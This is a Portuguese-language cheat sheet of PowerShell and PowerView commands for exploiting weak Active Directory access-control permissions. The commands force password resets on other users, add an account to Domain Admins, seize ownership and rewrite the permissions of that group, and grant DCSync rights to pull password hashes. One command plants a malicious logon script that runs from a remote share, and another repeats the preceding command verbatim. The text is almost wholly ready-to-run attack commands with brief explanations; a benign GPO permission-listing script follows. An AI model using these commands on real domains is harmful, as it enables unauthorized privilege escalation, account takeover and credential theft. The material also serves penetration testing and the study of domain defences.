Este documento contém comandos para explorar permissões fracas em Active Directory através de DACLs (Discretionary Access Control Lists) e ACEs (Access Control Entries). ### Tipos de Permissões Importantes: - **GenericAll** - Direitos totais sobre o objeto - **GenericWrite** - Atualizar atributos do objeto - **WriteOwner** - Mudar o proprietário do objeto - **WriteDACL** - Modificar ACEs do objeto - **AllExtendedRights** - Adicionar usuário a grupo ou resetar senha - **ForceChangePassword** - Mudar senha do usuário - **Self (Self-Membership)** - Adicionar-se a um grupo --- ## 1. GenericAll - Controle Total ### Verificar se usuário tem GenericAll sobre outro usuário ```powershell Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} ``` **Explicação**: Verifica se o usuário atual tem direitos GenericAll sobre o usuário "delegate" ### Resetar senha de usuário (com GenericAll) ```powershell net user delegate Password123! /domain ``` **Explicação**: Altera a senha do usuário "delegate" para "Password123!" sem precisar saber a senha atual ### Verificar GenericAll sobre grupos ```powershell Get-NetGroup "domain admins" -FullData Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"} ``` **Explicação**: Obtém informações do grupo Domain Admins e verifica permissões sobre ele ### Adicionar-se ao grupo Domain Admins ```powershell net group "domain admins" spotless /add /domain ``` **Explicação**: Adiciona o usuário "spotless" ao grupo Domain Admins (requer GenericAll sobre o grupo) --- ## 2. WriteProperty / Self-Membership ### Usando Active Directory Module ```powershell Add-ADGroupMember -Identity "domain admins" -Members spotless ``` **Explicação**: Adiciona usuário ao grupo usando cmdlets do AD ### Usando PowerSploit ```powershell Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` **Explicação**: Alternativa usando PowerSploit para adicionar usuário ao grupo --- ## 3. ForceChangePassword ### Resetar senha com ExtendedRight ```powershell Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.objectdn -eq "CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=offense,DC=local"} ``` **Explicação**: Verifica se tem o direito estendido de forçar mudança de senha ### Mudar senha usando PowerView ```powershell Set-DomainUserPassword -Identity delegate -Verbose ``` **Explicação**: Reseta a senha do usuário "delegate" interativamente ### Mudar senha sem interação ```powershell Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` **Explicação**: Define nova senha "123456" sem prompt interativo ### One-liner para sessões não interativas ```powershell Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` **Explicação**: Comando único para mudança de senha em scripts automatizados --- ## 4. WriteOwner - Mudança de Proprietário ### Verificar proprietário atual ```powershell Get-ObjectAcl -ResolveGUIDs -SamAccountName "Domain Admins" | ? {$_.objectsid -eq $sid} ``` **Explicação**: Verifica quem é o proprietário atual do objeto Domain Admins ### Mudar proprietário do objeto ```powershell Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity spotless -Verbose ``` **Explicação**: Define "spotless" como novo proprietário do grupo Domain Admins (usar SID do grupo) --- ## 5. WriteDACL - Modificar Permissões ### Adicionar todos os direitos sobre um objeto ```powershell Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity spotless -Rights All -Verbose ``` **Explicação**: Concede todos os direitos ao usuário "spotless" sobre o grupo Domain Admins ### Verificar se é proprietário de grupo ```powershell Get-ADGroup -Identity test -Properties * | select DistinguishedName,managedBy ``` **Explicação**: Verifica quem gerencia/possui o grupo "test" --- ## 6. GenericWrite - Script de Logon ### Definir script de logon malicioso ```powershell Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` **Explicação**: Define um script de logon que será executado quando o usuário "delegate" fizer login --- ## 7. Técnicas Avançadas com ADSI ### Conceder DCSync rights (requer WriteDACL) ```powershell $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('OFFENSE\spotless', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=offense,DC=local" -PrincipalIdentity spotless -Rights DCSync ``` **Explicação**: Concede privilégios DCSync ao usuário, permitindo replicação de hashes de senha ### Verificar ACLs com PowerView ```powershell Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {$_.PrincipalIdentity -eq "spotless"} ``` **Explicação**: Lista todas as permissões que o usuário "spotless" tem sobre o grupo Domain Admins --- ### Verificar todas as GPOs e suas permissões. ```powershell Import-Module GroupPolicy # Obtém todas as GPOs do domínio $GPOs = Get-GPO -All foreach ($GPO in $GPOs) { Write-Host "Nome: $($GPO.DisplayName)" -ForegroundColor Green Write-Host "ID: $($GPO.Id)" -ForegroundColor Green Write-Host "Status: $($GPO.GpoStatus)" -ForegroundColor Green Write-Host "Criada em: $($GPO.CreationTime)" -ForegroundColor Green Write-Host "Modificada em: $($GPO.ModificationTime)" -ForegroundColor Green Write-Host "Permissões:" -ForegroundColor Yellow try { # Chave: -Name e -All precisam ficar separados por espaços $Permissions = Get-GPPermission -Name $GPO.DisplayName -All foreach ($Permission in $Permissions) { Write-Host " Trustee: $($Permission.Trustee.Name)" -ForegroundColor Cyan Write-Host " Tipo: $($Permission.Trustee.SidType)" Write-Host " Permissão: $($Permission.Permission)" Write-Host " Herdado: $($Permission.Inherited)" Write-Host " ---------------------------" } } catch { Write-Host "Erro ao obter permissões: $($_.Exception.Message)" -ForegroundColor Red } # Linha de separação Write-Host ("=" * 40) -ForegroundColor Magenta Write-Host "" } ``` ### Material Complementar https://github.com/Hackndo/pyGPOAbuse